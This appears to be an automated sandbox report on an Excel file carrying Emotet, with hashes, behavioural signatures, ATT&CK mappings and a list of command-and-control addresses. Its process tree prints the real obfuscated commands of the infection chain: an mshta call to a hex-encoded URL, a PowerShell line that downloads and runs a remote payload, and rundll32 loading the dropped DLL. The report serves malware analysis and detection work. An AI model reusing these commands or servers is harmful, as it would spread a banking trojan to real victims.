emotet | 43a573dc9dd0dc79dcf228467e8e6820f4a4f8bf344660ea43eb11bb7b3c93f7

Analysis

max time kernel
169s
max time network
179s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/01/2022, 06:40

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General

Target
04b006830db46bac4dd4ef853791698c.xls
Size 142KB
Sample220120-he8yeagdgj
SHA256 43a573dc9dd0dc79dcf228467e8e6820f4a4f8bf344660ea43eb11bb7b3c93f7
MD5 04b006830db46bac4dd4ef853791698c
SHA1 dac03147850b30ec401e7cd4e28171a2b6868899
SHA512 58c21936ad96b124ebfaacd39e17cc33287f330e9cfa263d743fe49766df49ea3c41e5d238875b1e140823518c2a1d774a392bcec3db5ec4dbd21003f54953d9
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3656	1812	cmd.exe	52

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 452 created 4024	452	WerFault.exe	71

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
51	4024	mshta.exe
67	3472	powershell.exe
69	3472	powershell.exe
71	3472	powershell.exe
74	3452	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
2860	rundll32.exe
3296	rundll32.exe
3532	rundll32.exe
3452	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Zhfpjdgqe\ntjzqzrdkkkf.vnr	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3480	4024	WerFault.exe	71

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1812	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3472	powershell.exe
3472	powershell.exe
3480	WerFault.exe
3480	WerFault.exe
3452	rundll32.exe
3452	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3472	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE
1812	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 3044	1812	EXCEL.EXE	61
PID 1812 wrote to memory of 3044	1812	EXCEL.EXE	61
PID 1812 wrote to memory of 3656	1812	EXCEL.EXE	69
PID 1812 wrote to memory of 3656	1812	EXCEL.EXE	69
PID 3656 wrote to memory of 4024	3656	cmd.exe	71
PID 3656 wrote to memory of 4024	3656	cmd.exe	71
PID 4024 wrote to memory of 3472	4024	mshta.exe	75
PID 4024 wrote to memory of 3472	4024	mshta.exe	75
PID 452 wrote to memory of 4024	452	WerFault.exe	71
PID 452 wrote to memory of 4024	452	WerFault.exe	71
PID 3472 wrote to memory of 1844	3472	powershell.exe	81
PID 3472 wrote to memory of 1844	3472	powershell.exe	81
PID 1844 wrote to memory of 2860	1844	cmd.exe	82
PID 1844 wrote to memory of 2860	1844	cmd.exe	82
PID 1844 wrote to memory of 2860	1844	cmd.exe	82
PID 2860 wrote to memory of 3296	2860	rundll32.exe	84
PID 2860 wrote to memory of 3296	2860	rundll32.exe	84
PID 2860 wrote to memory of 3296	2860	rundll32.exe	84
PID 3296 wrote to memory of 3532	3296	rundll32.exe	85
PID 3296 wrote to memory of 3532	3296	rundll32.exe	85
PID 3296 wrote to memory of 3532	3296	rundll32.exe	85
PID 3532 wrote to memory of 3452	3532	rundll32.exe	86
PID 3532 wrote to memory of 3452	3532	rundll32.exe	86
PID 3532 wrote to memory of 3452	3532	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\04b006830db46bac4dd4ef853791698c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3472
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1844
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2860
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3296
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zhfpjdgqe\ntjzqzrdkkkf.vnr",vxadmu
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3532
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zhfpjdgqe\ntjzqzrdkkkf.vnr",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3452
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4024 -s 1712
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1712

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 03c6984f03f1d155cf0864073e508a8a FHrP0mqSN0m2aVNZ/L2hQQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1948

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 4024 -ip 4024
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/1812-1350-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-132-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-1353-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-1352-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-1351-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-137-0x00007FFDDCF90000-0x00007FFDDCFA0000-memory.dmp

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memory/1812-134-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-133-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-131-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1812-138-0x00007FFDDCF90000-0x00007FFDDCFA0000-memory.dmp

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memory/1812-130-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/2860-1295-0x0000000003150000-0x0000000003176000-memory.dmp

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memory/3296-1298-0x0000000000B70000-0x0000000000B96000-memory.dmp

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memory/3296-1301-0x0000000000D50000-0x0000000000D76000-memory.dmp

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memory/3296-1303-0x0000000004790000-0x00000000047B6000-memory.dmp

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memory/3296-1307-0x00000000048E0000-0x0000000004906000-memory.dmp

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memory/3452-1319-0x0000000004FB0000-0x0000000004FD6000-memory.dmp

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memory/3452-1327-0x0000000005310000-0x0000000005336000-memory.dmp

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memory/3452-1317-0x0000000004890000-0x00000000048B6000-memory.dmp

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memory/3452-1329-0x0000000005410000-0x0000000005436000-memory.dmp

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memory/3452-1321-0x0000000005010000-0x0000000005036000-memory.dmp

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memory/3452-1323-0x00000000050F0000-0x0000000005116000-memory.dmp

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memory/3452-1325-0x0000000005200000-0x0000000005226000-memory.dmp

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memory/3472-1300-0x00000237A6020000-0x00000237A6096000-memory.dmp

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memory/3472-898-0x000002378D850000-0x00000237A5920000-memory.dmp

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memory/3472-844-0x000002378D850000-0x00000237A5920000-memory.dmp

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memory/3472-842-0x00000237A5A20000-0x00000237A5A42000-memory.dmp

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memory/3532-1312-0x0000000003000000-0x0000000003026000-memory.dmp

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